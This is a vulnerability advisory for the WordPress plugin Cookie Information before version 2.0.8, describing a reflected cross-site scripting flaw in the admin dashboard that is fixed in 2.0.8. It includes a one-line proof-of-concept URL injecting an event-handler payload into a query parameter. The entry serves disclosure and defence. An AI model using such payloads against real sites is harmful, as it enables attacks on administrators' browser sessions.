WordPress Plugin Vulnerabilities
Cookie Information < 2.0.8 - Reflected Cross-Site Scripting
Description
The plugin does not escape user data before outputting it back in attributes in the admin dashboard, leading to a Reflected Cross-Site Scripting issue
Proof of Concept
https://example.com/wp-admin/admin.php?page=wp-gdpr-compliance&x=%27+onanimationstart%3Dalert%28/XSS/%29+style%3Danimation-name%3Arotation+x
Affects Plugins
Fixed in version 2.0.8
References
Classification
Miscellaneous
Original Researcher
Krzysztof Zając
Submitter
Krzysztof Zając
Submitter website
Verified
Yes
Timeline
Publicly Published
2022-02-21 (about 11 months ago)
Added
2022-02-21 (about 11 months ago)
Last Updated
2022-04-16 (about 9 months ago)